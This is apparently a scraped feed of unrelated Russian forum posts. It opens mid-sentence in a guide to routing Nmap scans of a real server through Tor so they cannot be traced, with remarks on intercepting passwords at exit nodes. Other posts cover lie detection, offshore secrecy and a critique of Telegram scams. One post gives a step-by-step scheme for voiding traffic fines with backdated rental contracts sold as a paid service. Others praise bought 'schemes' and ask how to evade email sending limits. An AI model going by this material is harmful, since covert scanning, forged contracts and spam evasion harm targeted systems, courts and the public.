экспериментов нам понадобится: Tor — у нас уже установлен и настроен Privoxy (www.privoxy.org) proxychains (proxychains.sourceforge.net) tortunnel(www.thoughtcrime.org/software/tortunnel) Nmap (nmap.org) Устанавливаем, все, кроме tortunnel. Заходим в конфиг proxychains и, чтобы пустить трафик через Tor, раскомментируем строчку: Socks4 127.0.0.1 9050 Сохраняем и запускаем сканирование (адрес 92.241.175.142 ): "proxychains nmap -PN 92.241.175.142". На первый взгляд это кажется быстрым и эффективным способом сканирования, но это не так. При дефолтном SYN-сканировании пакеты через Tor не пойдут. Таким образом мы бы сканировали сервер напрямую и, возможно, спалились бы. Хорошо — попробуем по-другому, посмотрим, какие еще техники сканирования предлагает Nmap: "SCAN TECHNIQUES: -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans". Укажем Nmap использовать сканирование с полным соединением: "proxychains nmap -sT -PN 92.241.175.142" Поздравляю! Вот теперь мы сканируем через Tor-сеть. Правда что-то долго. А все потому, что наши пакеты проходят через три узла прежде, чем достигнуть цели,причем эти узлы могут быть не самые быстрые на планете. В случае сканирования целой подсети, процесс может затянуться на часы или даже дни. Кроме того, такое сканирование все еще не является анонимным, так как перед сканированием Nmap посылает icmp запросы (идущие напрямую от нашей машины), чтобы проверить доступность удаленной машины. Что ж, придется резать файрволом весь исходящий трафик, идущей к этой машине не через Tor или просто указать опцию -PN Nmap’у (чтобы он не проверял доступность удаленной машины): "iptables -A OUTPUT -dest 92.241.175.142 -j DROP". Я указываю везде опцию -PN, так как фаервол на xakep.ru рубит ICMP_трафик, поэтому я вручную указываю, что хост жив. Прокачиваем скорость. А как же быть со скоростью? Ведь с такой скоростью много не посканируешь, что лишает смысла все наши изыски. Тут нам поможет утилита torrtunnel. Она служит для того, чтобы пускать трафик сразу через выходной узел, минуя два предыдущих. И в данной ситуации скорость сканирования зависит только от того, какой последний нод ты выберешь. Для установки утилиты потребуются дополнительные библиотеки boost. Скачиваем последнюю версию библиотек с сайта www.boost.org. Распаковываем, заходим в папку и выполняем: $ bootstrap.sh --libdir=/usr/lib --includedir=/usr/include $ ./bjam --prefix=/usr $ ./bjam install После этого, заголовочные файлы должны оказаться в /usr/include/boost, а библиотеки в /usr/lib. Теперь надо вручную создать символическую ссылку на библиотеку libboost_system.so.1.40.0 (может кому и не понадобится, но у меня она при установке автоматически не создалась): $ ln -s /usr/lib/libboost_system.so.1.40.0 /usr/lib/libboost_system-mt.so После этого можно компилировать и устанавливать tortunnel. Запускаем torproxy — она выдает: torproxy <torExitNodeHost>. Теперь нужно выбрать подходящий exit node. Для это идем сюда http://128.31.0.34:9031/tor/status/all или сюда http://moria.seul.org:9032/tor/status/authority и ищем узел с описанием "Exit, Fast, Stable, Valid". Так обозначаются надежные и быстрые ноды — именно такие нам и нужны. Далее копируем айпишик и выполняем: "./torproxy [ExitNodeIP]" Теперь, для того чтобы все заработало, нужно через конфиг указать proxychains использовать socks5. Итак, комментируем строку Socks4 127.0.0.1 9050 в /etc/proxychains.conf и добавляем socks5 127.0.0.1 5060 (5060 –порт, который будет слушать tortunnel) После этого можно запустить и Nmap: @proxychains nmap -sT -p 80,443,21,23 92.241.175.142 Как ты видишь, скорость сканирования увеличилась (если нет – попробуй другой нод). Теперь можно даже просканировать свою собственную машину. В довершении научим Privoxy работать через tortunnel. Тем самым мы снизим уровень анонимности (одна промежуточная нода вместо трех), но получим более шустрый серфинг. Заходим в файл конфигурации и добавляем строчку: forward-socks5 / 127.0.0.1:5060 Теперь открываем лиса и настраиваем http-proxy на 127.0.0.1:8118. После этого идем на TorCheck at Xenobite.eu 0 проверять, действительно ли мы серфим через Tor, если все ок — то отобразится страница с надписью "Your IP is identified to be a Tor-EXIT.". Вот и все, теперь можно провести и ручной аудит удаленной системы. Tor Scanner. Ну вот, мы и заставили Tor работать на себя. Можем сканировать через Tor, перехватывать чужие пароли. А что если нам самим понадобится использовать Tor чтобы, например, на Gmail зайти? Как не попасть в логи sslstrip’a? Выход есть! В пакете tortunnel есть утилита torscanner, предназначенная для поиска Exit Node’ов, использующих sslstrip. Работает она следующим образом: мы передаем программе URL страницы, содержащей https ссылку(и), после чего она напрямую соединяется со всеми Exit Node’ами и запрашивает указанную страницу. Полученные данные выводятся в консоль, но можно перенаправить вывод в файл, для дальнейшего изучения. Синтаксис для запуска — "torscanner destinationHost destinationPort request". Например: $ torscanner www.google.ru 80 / > 1.txt Если проанализировав файл 1.txt в ответах одного и серверов ты обнаружишь подмену HTTPS на HTTP, то на сервере однозначно работает sslstrip. Torscanner сканирует все выходные узлы, что занимает достаточно много времени. Но я думаю, что ты сумеешь модифицировать программу таким образом,чтобы она проверяла только определенный диапазон или один конкретный сервер и уже их использовать в качестве выходных серверов (Tor’у можно явно указать какой или какие выходные узлы использовать). Жди подвох. Вывод может быть один — используя Tor будь осторожен. Да, система обеспечивает неплохой уровень анонимности, но не может защитить твои данные от перехвата. И пусть ты даже ты убедился, что на последнем узле не запущен sslstrip, все равно никто не даст гарантии, что проходящие пакеты не дампятся снифером. С другой стороны необязательно рассматривать Tor как исключительно инструмент для анонимного серфинга в Сети. Несколько наших примеров — тому в подтверждение. Держать Exit Node — задача для крепких парней. Надо понимать, что работая в качестве Exite Node’ы, человек серьезно подставляет себя. Ведь именно его IP светиться во время взломов и т.д. В процессе написания статьи через мой сервер дважды пытались провести атаку типа SQL-injection. Так что держи ухо востро, за такие вещи можно запросто схлопотать от правоохранительных органов или от провайдера. Вот лишь некоторые примеры: В 2006 г. спецслужбы Германии осуществили захват шести компьютеров,работавших нодами сети Tor на основании того, что они были незаконно использованы для доступа к детской порнографии. В 2007 г. Национальная полиция Швеции арестовала известного эксперта по компьютерной безопасности Дена Эгерстада по обвинению в неправомерном доступе к компьютерной информации. 22-летний сотрудник компании Deranged Security опубликовал на своем рабочем сайте пароли к электронной почте посольств, негосударственных организаций, коммерческих фирм и правительственным агентств разных стран. По его словам, он в качестве эксперимента создал 5 выходных серверов Tor и перехватывал через них незашифрованный трафик. В 2007 г. немецкая полиция арестовала в Дюссельдорфе Александра Янссена, организовавшего у себя на компьютере сервер Tor, через который неизвестный отправил ложное сообщение о теракте. Несмотря на то, что вскоре г-н Янссен был отпущен,он решил отказаться от дальнейшего использования своего компьютера в качестве точки выхода Tor. Скрытые сервисы — уникальная фишка Tor. Есть у Tor еще одна интересная фича — скрытые сервисы. Пользователи Tor могут предоставлять различные сервисы, такие как веб-доступ или сервер системы мгновенного обмена сообщениями, не открывая своё истинное местоположение. Скрытые службы доступны через специальные псевдо-домены верхнего уровня .onion. Сеть Tor понимает эти домены и направляет информацию анонимно к скрытым службам. Скрытая служба затем обрабатывает её посредством стандартного софта, который настраивается на прослушивание только непубличных (закрытых для внешнего доступа) интерфейсов. Данный функционал можно использовать для размещения сайта, не беспокоясь о цензуре. Никто не будет в состоянии определить владельца сайта, и владелец сайта не будет в состоянии узнать, кто использовал сайт. Специализированные ОС Anonym.OS — LiveCD-ОС на базе OpenBSD, в которой весь входящий трафик запрещен, а весь исходящий автоматически и прозрачно для пользователя шифруется и анонимизируется при помощи Tor — http://sourceforge.net/projects/anonym-os/ ELE — Damn Small Linux+Dillo+Tor+Privoxy+Scroogle (LiveCD) — http://northernsecurity.net/download/ele/ Incognito LiveCD — Gentoo+Tor+TrueCrypt+Thunderbird+Enigmail+Firefox+Torbutton+FireGPG+GnuPG+KeePassX — http://anonymityanywhere.com/incognito/ Phantomix — LiveCD-дистрибутив, предназначенный для анонимного пользования Интернетом с помощью Tor и Privoxy- http://phantomix.ytternhagen.de/ Tor-ramdisk — Дистрибутив Linux, разработанный, чтобы обеспечить работу Tor полностью в оперативной памяти, без использования жесткого диска или иных устройств долговременного хранения данных — http://opensource.dyc.edu/tor-ramdisk/ WWW Tor+Vidalia+Proxomitron+Freecap — wsnow.net/my_soft/41-narushaya-zaprety.html OperaTor — Opera+Tor+Polipo — archetwist.com/en/opera/operator Portable Tor — портативный пакет Tor, не требующий инсталляции на компьютер — portabletor.sourceforge.net/ Torbutton — расширение Firefox, добавляющее в него кнопку включения и выключения Tor. Обеспечивает также улучшенную защиту приватности и изоляцию состояния браузера — addons.mozilla.org/ru/firefox/addon/2275 Vuze — клиент файлообменной сети BitTorrent со встроенной поддержкой Tor — azureus.sourceforge.net/ Неплохой мануал по настройке Tor — www.torproject.org/docs/tor-doc-relay.html.ru Полный список поддерживаемых опций — www.torproject.org/tor-manual.html Настройка скрытых сервисов — www.torproject.org/docs/tor-hidden-service.html.ru
-
1 баллПошаговая прикладная инструкция по теории лжи была найдена мной на одном из любопытных сайтов пару дней назад. Ею и хочу с вами поделиться. Надеюсь, она вам поможет в распознавании лжецов. Наблюдайте за лицом и глазами 1.1. Отслеживайте микровыражения. Это эмоции, которые появляются на лице лишь на доли секунды. Они, в отличии от «выражения лица» действительно говорят правду. 1.2. Следите за нижней частью лица и руками. Часто во время лжи человек неосознанно прикасается к носу или рту. Когда человек сообщает ложную информацию, он может прикрывать рот рукой. Сжатые, напряженные губы свидетельствуют о стрессе. 1.3. Следите за движением глаз. Если люди обычно вспоминают, они смотрят влево вверх, если придумывают и собираются солгать – чаще в право. (Прим. для левшей наоборот). Отмечается, что когда люди лгут – они моргают чаще. Обращайте внимание на веки, они обычно чуть дольше закрыты, чем во время обычного моргания, если человек не согласен с тем, что он слышит или видит. 1.4. Обычно, когда человек лжет, он старается не смотреть в глаза. Однако, в некоторых случаях ложь может выдавать и, наоборот, слишком пристальный непрерывный взгляд в глаза собеседнику. 1.5. В стандартном американском алгоритме распознавания лжи этого не было, но добавлю от себя. Часто, когда человек говорит неправду, его брови на мгновение приподнимаются вверх. Это микромимическое выражение часто сопровождает спонтанную ложь. 2. Чтобы распознать ложь, старайтесь читать язык тела 2.1. Смотрите, как человек кивает. Если человек говорит утвердительно, кивок должен быть соответствующий. Если же он, например, говорит, что чего-то не делал – это будет отрицательный поворот головы. Обратите также внимание, что при сообщении правдивой информации, в отличии от лжи, кивок/поворот должен происходить синхронно с высказывание. Запаздывание или же наоборот фальстарт, как правило, свидетельствует о лжи. 2.2. Смотрите на расположение собеседника. Если человек собирается лгать, он, как правило, предпочитает держаться на отдаленном расстоянии от собеседника и может быть повернутым несколько боком, носки его обуви часто смотрят не прямо в сторону собеседника, а повернуты вбок. Когда человеку нечего скрывать, в основном, он сидит прямо. От себя добавлю, что дистанция между собеседниками также говорит о том, насколько они приятны друг другу. Чем ближе их отношения, тем ближе они располагаются друг к другу. 2.3. Наблюдайте за шеей. Когда человек лжет, его шея потеет, появляется ощущение сдавленности, он оттягивает воротничок. Такое часто бывает на собеседованиях. 2.4. Смотрите на дыхание. Во время лжи дыхание становиться более частым и поверхностным. Человек делает несколько коротких мелких вдохов/выдохов. Часто, когда человек лжет, губы пересыхают. 2.5. Принимайте во внимание общую позу. Если руки и ноги скрещены, голова неподвижна, общее количество жестов уменьшилось – скорее всего человек лжет. 2.6. Во время лжи, человек старается избегать таких жестов, как: указывание пальцем, открытые ладони, «пирамидка» из пальцев. Однако, это можно натренировать. 2.7. Демонстративное поведение, такое, как нарочитая скука, зевание – могут являться попытками скрыть обман. 2.8. Смотрите на суставы. Лжецы часто стараются крепко вцепиться в какой-либо предмет, например, ручку стула так, что костяшки на руках побелеют. 2.9. Обратите внимание на потливость. Как правило, люди больше потеют, когда говорят неправду. Только не спешите изобличать лжеца в том, кому просто жарко или душно в помещении, хотя это тоже стоит учитывать. 3. Наблюдайте за вербальными ответами 3.1. Обращайте внимание на голос. Человек может начать говорить быстрее или медленнее, когда он лжет. Обычно во время лжи тон голоса повышается 3.2. Отлавливайте слишком много деталей. Если человек говорил в общем, и вдруг, в какой то момент в его речи появилось слишком много мелочей – он может специально запутывать вас, чтобы заставить поверить в ложь. 3.3. Наблюдайте импульсивные реакции. Если человек отвечает сразу на вопрос, который предполагает раздумья, возможно, он лжет. Так или иначе, но он продумал ответ заранее, зачем ему это, если он не пытается вас обмануть? 3.4. Обращайте особое внимание на ответы человека на ваши вопросы. Ложь обычно заставляет людей сильно нервничать. Защищаясь, человек может стараться расположить какой-то объект между вами, например сумку или папку. Виновный человек обычно отвечает со злобой. Однако, на его лице в момент обвинения, можно уловить эмоцию страха, и лишь потом последует агрессивная реакция. Однако, агрессия также может служить и индикатором обычного защитного поведения человека, которого несправедливо обвинили во лжи. 3.5. Если человек не лжет, а лишь пытается оправдаться, отвечая на вопрос, он будет предоставлять максимальное количество дополнительных фактов и деталей, в то время, как виновный человек не устанет повторять то, что он уже сказал, только более настойчиво и перефразируя. 3.6. Лжец избегает прямых ответов на вопросы, он всегда стремиться выиграть время. Лжец может запутывать вас общими фразами, ссылаться на авторитеты. 3.7. Обращайте внимание на использование слов, это может дать много подсказок. Например, лжец может повторять ваш вопрос, перед тем, как начать на него отвечать. 3.8. Лжец избегает различных сокращений в речи, стараясь максимально четко по буквам проговаривать слова. 3.9. Лжец может намеренно упускать местоимения. Например, вместе «Она сделала это» говорить просто «Сделала это». 3.10. Лжецы обычно используют запутанные предложения и начиная сложный оборот, часто не заканчивают его. 3.11. Лжец часто использует преувеличение, юмор или сарказм, чтобы уйти от прямого ответа. 3.12. Использование таких оборотом, как «честно», «в действительности», «откровенно говоря», «мое воспитание не позволит мне солгать», часто означает обман. 3.13. Если отвечая на сложный вопрос односложно, человек смотрит на вас, а дальше, поясняя, смотрит в сторону – это как правило, правда. Ему просто необходимо время, чтобы сосредоточиться. 3.14. В речи лжеца часто вовсе отсутствуют негативные выражения и эмоции. Обычно, говоря правду люди ссылаются и на положительные и на отрицательные обстоятельства. 3.15. Лжец отвечает слишком быстро, используя негативные ответы в позитивной конструкции. Например, «Вам было неприятно делать это?» «Нет, мне не было неприятно делать это» 3.16. Человек склонен повторять ложь теми же cловами несколько раз, так как, ему кажется, будто это более убедительно. Обычно для лжеца составляет проблему быстро перефразировать одно и то же «убедительное» предложение и он как заведенный твердить одно и то же. 4. Раскрытие лжи через ваши собственные ответы 4.1. Будьте очень осторожны и избегайте ошибок. Помните, что одного и даже двух признаков, часто не достаточно, чтобы обвинить человека во лжи. Не мните себя Доктором Лайтманом из сериала «Теория лжи» Необходим целый ряд факторов и точный, многократный их анализ для того, чтобы сделать вывод, что человек лжет. Многие эмоциональные реакции, такие как стыд, беспокойство, волнение неопытный верификатор может принять за ложь. Кроме того, помните о субъективизме. Иногда нам очень хочется быть обманутыми, настолько, что мы охотно игнорируем очевидные признаки, и, наоборот, часто мы стремимся уличить во лжи человека, который нам не симпатичен или же похож на того, кто когда-то нас обманул. 4.2. Уделите некоторое время тому, чтобы расположить к себе лжеца. Не старайтесь сразу предвзято оценивать или давить на него с позиции силы. Создайте атмосферу доверия и понимания, это поможет вам легче считывать язык тела. 4.3. Определите образец правды для сравнения. Как говорилось ранее, диагностируемый должен быть расслаблен и чувствовать себя непринужденно. Поговорите с ним о вещах, которые ему интересны или о фактах, которые вам точно известны о нем. Спросите, что он думает по тому или иному поводу. Это поможет вам определить естественное поведение для того, чтобы в дальнейшем сравнивать его с теми фрагментами, где вы подозреваете ложь. 4.4. Обращайте внимание на отклонения и уходы от ответов. Например, на вопрос «Вы когда-нибудь били свою жену?» человек может ответить вопросом «Я люблю свою жену, зачем бы я это делал?». В данному случае мы можем заподозрить наличие скрываемой информации и расспрашивать подробнее. 4.5. Задавайте открытые вопросы. Избегайте вопросов, на которые человек может ответить однозначно и коротко, а также не повторяйте то, что он уже сообщил. 4.6. Попросите лжеца рассказать историю в обратном хронологическом порядке, задом наперед. Если человек лжет, это будет очень сложно сделать. 4.7. Смотрите на предполагаемого лжеца с выражением недоверия. Если человек лжет, очень скоро он начнет сильно нервничать. Если же он говорит правду на его лице будет грусть, разочарование, возможно оттенок злости. 4.8. Используйте молчание. Лжец будет чувствовать себя некомфортно, не получая обратной связи. У него возникнет необходимость заполнить пустоту, создаваемую вами. Таким образом он может нервничать и сам себя выдать, стараясь придумывать все новые детали и обстоятельства. 4.9. Идите до конца. Лжец будет стараться привести максимальное количество доводов против того, что бы вы поговорили еще с кем-то, кто был участником рассказанной истории или может знать детали. Он будет статься убедить вас, что этого делать не следует и что это лишь трата вашего времени. Но не верьте, проверяйте все, что можно проверить.
-
1 баллПотеря смысла в профессиональной деятельности становится «напастью века», считает газета Le Matin Dimanche. Издание ссылается на итоги проведенного им вместе со швейцарской федерацией психологов социологического исследования, в ходе которого более 80% из 480 опрошенных экспертов заявили, что, по их мнению, за последние 10 лет швейцарцы стали чаще испытывать «страдания на работе». Электронная почта вместо человеческого общения «Работник подвергается растущему давлению, он располагает все меньшим временем и должен постоянно отчитываться о своей эффективности, — пояснила психотерапевт Дженни Хюмбер. — Человеческое общение замещается электронной почтой и документами. Креативность душится протоколом». В свою очередь, специалист по трудовым отношениям Лоран Бруйер видит корень проблемы в том, что в современном мире для человека ключевое значение имеет смысл его существования, и это обусловлено «легкостью доступа к информации». «Если раньше люди просто покупали рис, то сейчас для них имеет значение, где его произвели, кто и в каких условиях», — пояснил он, добавив: «Усиливается глобальное сознание, создавая новые парадоксы во всех областях». «Страдания на работе», указывают эксперты, имеют разные формы, и одна из наиболее распространенных — это крайнее физическое и психическое изнурение — «сгорание». По словам психолога Катрин Васэ, «напряжение для организма таково, что он не выдерживает». Негативно на самочувствии работника и результатах его труда сказывается также скучный характер профессиональной деятельности, не соответствующий его квалификации и устремлениям. В отличие от «сгорания» в данном случае человек продолжает трудиться, но нередко в конце концов меняет место работы. Из банкиров в пивовары Исследователи указывают на появление феномена снижения отдачи на работе в силу того, что сотрудник разочарован в своем труде и не видит в нем смысла. Как замечает Катрин Васэ, это состояние может затрагивать лиц вполне финансово благополучных, хорошо образованных, занимающих руководящие посты. Они перестают видеть смысл в своей работе и начинают воспринимать ее как абсурдную. Поскольку окружающими они по-прежнему воспринимаются как «успешные», то им трудно бывает поделиться с кем-то этими проблемами. Они хотят сменить профессию на более практическую, где были бы осязаемо видны результаты, в частности, заняться ремесленным производством или социальной работой. Однако, как предупреждает психолог Марион Ауфзеессер, «опасность для банкира, решившего стать пивоваром», состоит в риске разорения, поскольку реальные трудности такой профессиональной «конверсии» нередко недооцениваются. Большинство психологов советуют следовать в таких случаях «принципу реализма», не теряя баланса между своими желаниями и шансами на успех на новом поприще. По мнению Ауфзеессер, ввиду усиления в современном обществе этой проблемы работодатели «должны позволять подчиненным высказывать свои пожелания». По ее мнению, работники должны иметь возможность для удовлетворения личностных запросов, и начальство должно оказывать им в этом поддержку
-
1 баллДа я согласна, зачем мотивация на теневых бордах ? мы и так все мотивированны )
-
1 баллВ первый раз об оффшорах я услышал еще лет в 11. Конкретнее познакомился в 16 лет. В то время друзья , которые старше меня, уже проворачивали дела, выводя деньги в Прибалтийские банки и далее в оффшоры. Теперь я расскажу вам , что это такое и зачем каждому из вас обязательно знать, что это такое. На мой взгляд, каждый человек, который ведет сверхдоходный бизнес, должен знать и желательно даже уметь правильно использовать такое явление , как оффшоры. Что такое оффшор? «Оффшор» — это скорее экономико-географическое понятие, чем юридический термин, — законодательного определения данному явлению до сих пор нет. Это понятие широко применяется в налоговом планировании в отношении компаний, зарегистрированных в странах, полностью освобождающих их от уплаты налогов по месту регистрации. Как правило, эти компании не должны предоставлять в государственные органы бухгалтерскую или налоговую отчетность, а также отличаются простотой администрирования и обеспечивают высокий уровень конфиденциальности — информация о владельцах компаний закрыта. Зачем нужны? Налоги. В среднем , в оффшорах можно сэкономить от 50 процентов, в зависимости от налоговой ставки. Секретность. О да! По закону, если компания зарегистрирована в оффшоре, то ее владельца никто не узнает ( Это и хорошо и плохо) Доступность. Компании покупаются под ключ. При этом, государства в оффшорных зонах даже способствуют этому, и позволяют продавать компании под ключ. Самое плохое - что в России людей запугали, что оффшоры это плохо и нелегально, ведь надо платить налоги в собственной стране. При этом, почти каждый чиновник имеет связи с оффшорами, и каждый читающий это понимает. Так почему же тебе, мой дорогой друг, при первых сверхприбылях и заработках, не подумать о регистрации собственной компании в оффшоре? Я бы посоветовал покупать оффшор под ключ, а не регистрировать самостоятельно, ибо это безумно сложно. Где и как можно задействовать оффшорную компанию? Оффшорные компании характеризуются тем, что: они освобождены от уплаты налогов в стране регистрации; от них не требуется подавать сведения о своём финансовом состоянии в какие-либо государственные органы; обеспечивается высокий уровень конфиденциальности: информация о внутренней структуре компаний (кто директора, акционеры, бенефициарные владельцы?) в государственные органы не представляется; Вот почему такие компании имеет смысл использовать в качестве холдинговой структуры; компании для привлечения и инвестирования средств; компании для накопления ресурсов (в том числе, страховых выплат – кэптивные и иные страховые и перестраховочные компании); собственников авторских прав и иной интеллектуальной собственности. И, конечно же, как самый распространённый вариант – обычная коммерческая деятельность, связанная с экспортно-импортными поставками товаров. На этом все. Я рассказал вам об оффшорах. Считаю это действительно полезной информацией, ведь каждый должен хотя бы знать о таком термине.
-
1 балл
-
1 баллПроходи скорее проверку ! ОООООООООООООЧЕНЬ НУЖДАЮСЬ В ТВОИХ УСЛУГАХ!!!!
-
1 баллРассматриваем типичную схему на теневом канале в Телеграм. Ну вот, дорогой юзер, ты входишь в любимую телегу , надеешься найти хоть немного годноты, но вместо этого видишь штампованные копипастом статьи про кардинг, даркнет и старые схемы заработка, на которых вы не только не получите ни копейки , но и присядите на бутылку. Что же делать в таком случае? Ну, во первых , телега - это не даркнет. Тебе только так кажется. "Умные админы" в телеграме не заботятся о том, чтобы схемы были рабочими, ведь большинство просто проходит мимо. А те немногие, кто начинает что-то делать, попадает на бабло да и только. Для типичного админа запостить и скопипастить схему с другого канала почти также, как запостить мем на канал. Сделал - забыл. Мы хотим вас убедить, что эти схемы в большинстве случаев не сделают вас богаче, но сделают и так не богатых людей несчастнее и беднее. Даже свой бизнес открыть проще, чем заниматься вымогательством в сети такого уровня. Сегодня мы рассмотрим идиотскую схемку, по которой не советуем вам работать и которая принесет только проблемы. Схема называется Заработок на ищущих кнопку "Бабло" . Схема, видимо, рассчитана на самых последних баранов, которые вчера узнали, что такое интернет и готовы отправлять деньги первым встречным. Наборщик текста на дому? Скам с таким объявлением в 2017? Надеюсь, вам также смешно, как и мне. Уже готовитесь принимать миллионы баксов на свой левый киви кошелек? И далее самое вкусное. Это просто нокаут. Вся телега забита этими схемами. Сразу говорю, что вам будет легче пойти продавцом в магнит, чем сделать хотя бы 1000 рублей на этой схеме. Сейчас кризис и с деньгами никто так просто не расстанется, а карму и совесть испортите. В общем, это было все на сегодня. Мы никогда не будем кормить вас подобным дерьмом. Если быть жуликом , то только благородным, но никак не отнимать у людей, которые ищут работу, последние копейки.
-
1 баллЯ выделил несколько правил для вас, хищники, чтобы ваш капитал рос, а не летел в пекло. Умерь свой пыл. Перестань покупать безделушки. Даже по 100 рублей. Ты удивишься, узнав, что за месяц на покупке всяких прикольных плюшек набегает солидная сумма Соблюдай режим. Не ложись спать в 4 утра и не просыпайся в 2 дня. От того, как ты поспал, зависит ясность твоего ума, а следовательно и твоя прибыль. После того, как я это осознал, я начал генерировать много годных идей и самое главное, у меня был энтузиазм их реализовывать Не забывай про отдых. Отдыхая, ты получаешь новые силы для своего дела. Отдыхай каждый день, например после тяжелого дня сядь за ps4 и поиграй часок в гта 5, либо сходи побегать или погулять с собакой. Раз в месяц устраивай себе мегаотдых, потрать крупную для тебя сумму, чтобы была мотивация заработать в следующем месяце в 10 раз больше, чем ты потратил на отдых. Факт в том, что это работает Ставь конкретную цель. И следуй ей, делай всё, чтобы прийти к этой цели. Никаких отклонений влево или вправо, ты должен идти по дороге, которую прокладываешь себе сам. Уверяю тебя, ты сам увидишь, как деньги перестают тратиться на лишнее Никаких бездумных решений. Не вкладывай в пирамиды, хайпы и прочие сомнительные вещи, быстрого профита ты с этого не получишь, а в худшем случае ты останешься с голой жопой И самое главное, помни, пока ты бездействуешь, действуют другие и рубят ТВОИ бабки, которые ты бы мог заработать.
-
1 баллПродавец попросил оставить отзыв на этой площадке Оставляю, ликвидировал мне фирму без проблем, хотя она была очень проблемная, да еще и взял копейки Спасибо.
-
1 баллПо итогу я купил схему за 10к, отбил за 4 дня, неплохой лишний заработок Спасибо бинго
-
1 балл
-
1 баллЕсли вам пришел конверт из центра видеофиксации, вы можете в соответствии с ч.2 ст. 2.6.1 КоАП РФ быть освобождены от ответственности – если в ходе рассмотрения выяснится (будет подтверждено, доказано), что на момент фиксации автомобилем управляли не вы. Поэтому в любом случае надо обжаловать постановление. Обычно подтверждением служит договор аренды, где указано следующее: ответственность за штрафы, полученные в период действия договора, в т. ч. полученные с помощью устройств фото-видео фиксации, ложится на арендатора. Если такая строка есть – то постановление по делу об административном правонарушении должно быть отменено, а производство по нему прекращено (ч.2 ст. 30.7 КоАП РФ). В соответствии со ст. 30.1 КоАП РФ постановление, вынесенное ГИБДД, может быть обжаловано в районном суде по месту нахождения отдела ГИБДД (смотрите адрес на конверте, откуда пришло – и через интернет определяете районный суд). Плюс можно еще жалобу вышестоящему лицу отправить. Важно, чтобы вы были вписаны в страховку или она должна быть неограниченная. А теперь по порядку, срок привлечения к административной ответственности не может превышать 2 месяца. КоАП ст 4.5. Этой статьей мы и будем руководствоваться для не оплаты штрафов. При отмене судом постановления об административном правонарушение привлечь другое лицо не представляется возможным в связи с истечением срока давности ( 2 месяца) административной ответственности. Простым языком, штраф видеофиксации можно отменить при наличии договора аренды, а повторно привлечь к административной ответственности лицо которому передано транспортное средство ГИБДД не успевает в срок 2 месяца, так как в 2-х месячный срок с момента нарушения ПДД выноситься постановление об Административном правонарушение, которое направляется вам по почте и у вас иметься 10 дней на подачу жалобы и тут не стоит забывать, что суд рассматривает вашу жалобу не на следующей день, суды завалены работой. При отмене протокола судом решения вступает в законную силу в течение 10 дней. Получается, что ГИБДД не успевает привлечь к ответственности лицо которому передано данное ТС в аренду, таким образом и первое и второе лицо освобождаются от административной ответственности. Регистрировать фирму или открывать ИП нам не обязательно. Итак, приступаем к работе. На первоначальном этапе нам необходимо определить для себя потенциальный список клиентов, который мы и разберем. В первую очередь основным клиентом для нас как показывает практика будут Транспортные компании, крупные автопарки такси, фирмы грузоперевозки, а так же обычные физические лица, имеющие транспортные средства. Как искать клиентов, все очень просто обзваниваем фирмы такси города, фирмы грузоперевозки и говорим с директорами. Пример Диалога Здравствуйте, меня зовут Андрей. Я бы хотел к вам обратиться с интересным предложением по списанию штрафов ГИБДД. После таких слов всем абсолютно всем директорам становиться интересно. Договариваетесь о встречи, при встречи ведете диалог следующим образом. Говорите что у вас есть штат юристов которые работают по обжалованию штрафов и вы с легкостью их закроете за 25% от стоимости всех штрафов компании. В Договоре аренды прописываете эту же сумму свои 25% от суммы штрафа. Приведу пример средней компании грузоперевозок, за месяц сумма штрафов порядка 70 тыс. Да все зависит так же от города, в крупных городах услуга будет иметь колоссальный спрос. Вы можете выбрать другое направление и работать только с физ лицами. Поездите по автосервисам предложите свои услуги, друзья знакомые это все ваши клиенты. Таксист должен быть ваш постоянный клиент, поговорите с ними предложите за 25% закрывать штрафы. Незабываем про Авито. Сарафанное радио со временем сделает свое дело и вы будете иметь хороший профит. Не забывайте важный момент. Важно, чтобы вы были вписаны в страховку или она должна быть неограниченная. Первыми вашими клиентами станут ваши друзья коллеги знакомые, предложите им списать их штрафы за 25% от суммы штрафа. Поверьте желающих будет масса. Пошаговый порядок ваших действий после получения конверта «счастья». Вам звонит клиент и говорит что пришел штраф нужно его списать. У вас есть 10 дней в которые он должен предоставить этот конверт с постановлением лучше в первые 3 дня что бы конверт был у вас. Далее вы составляете договор аренды ТС (согласно Приложению №1) с собственником на кого пришел штраф видеофиксации. Вы, либо ваша фирма если пожелаете открыть, или любое 3 лицо выступаете арендатором ТС. ВАЖНО что бы договор был составлен датой ранее чем совершенно ПДД, то есть договор делаете задним числом. Далее готовим жалобу в суд заполняем (Приложение №2), затем Ходатайством №3, №4. Напоминаю ходить по судам мы НЕ БУДЕМ. Все отправляется по почте, в ходатайстве № 4 которые мы прилагаем к документам мы просим рассмотреть жалобу без нашего присутствия. Не позднее 10 дней с момента получения конверта вам необходимо направить в районный суд (смотрите адрес на конверте, откуда пришло – и через интернет определяете районный суд) Список документов которые мы отправляем Копия протокола об административном правонарушении Копия конверта с 2-х сторон Копия Договора Аренды ТС Жалобу в 3-х экземплярах Ходатайство о восстановление срока на обжалование Ходатайство о рассмотрение жалобы без участия истца Это все что от вас необходимо, ждем решения суда. В 99,9 случаях все постановления будут отменены. Важно, чтобы вы были вписаны в страховку или она должна быть неограниченная Документы для работы: https://yadi.sk/d/lif-KFiY3LXAMd
-
1 балл
-
1 балл
-
1 балл[media=hide; name=User1, User2]текст сообщения или ссылка[/media] ....... хайд для конкретного ника или ников если они перечисляются через запятую [media=hide; grp=1, 2, 3]текст сообщения или ссылка[/media] ............хайд для выбранных групп [media=hide; post=XXX]текст сообщения или ссылка[/media] ............. хайд на кол-во постов [media=hide; like=XXX]текст сообщения или ссылка[/media] .............. хайд на кол-во лайков [media=hide; post=XXX; like=XXX]текст сообщения или ссылка[/media] .............хайд на комбинации пост\лайки [media=hide; like=XXX; post=XXX]текст сообщения или ссылка[/media] ............ хайд на комбинации лайки\пост Как это применять? Копируете нужный Вам вариант и вставляете его вручную в сообщение, заменив ХХХ на нужный вам вариант кол-во постов или лайков. Все ссылки на скачивание файлов обязательно необходимо ставить Hide минимум 10 сообщений.
-
1 балл
-
1 баллНовейший сервис и очень полезный,на вашем броде только видел такой.Обязательно воспользуюсь если найду куда бенз сплавить :wink:
-
1 балл
-
1 баллСтолкнулся с такой проблемой mail.com не дает отправить больше 10 писем потом наступает блок на 1 час. Как можно обойти это кто знает?
-
1 балл
-
1 балл
-
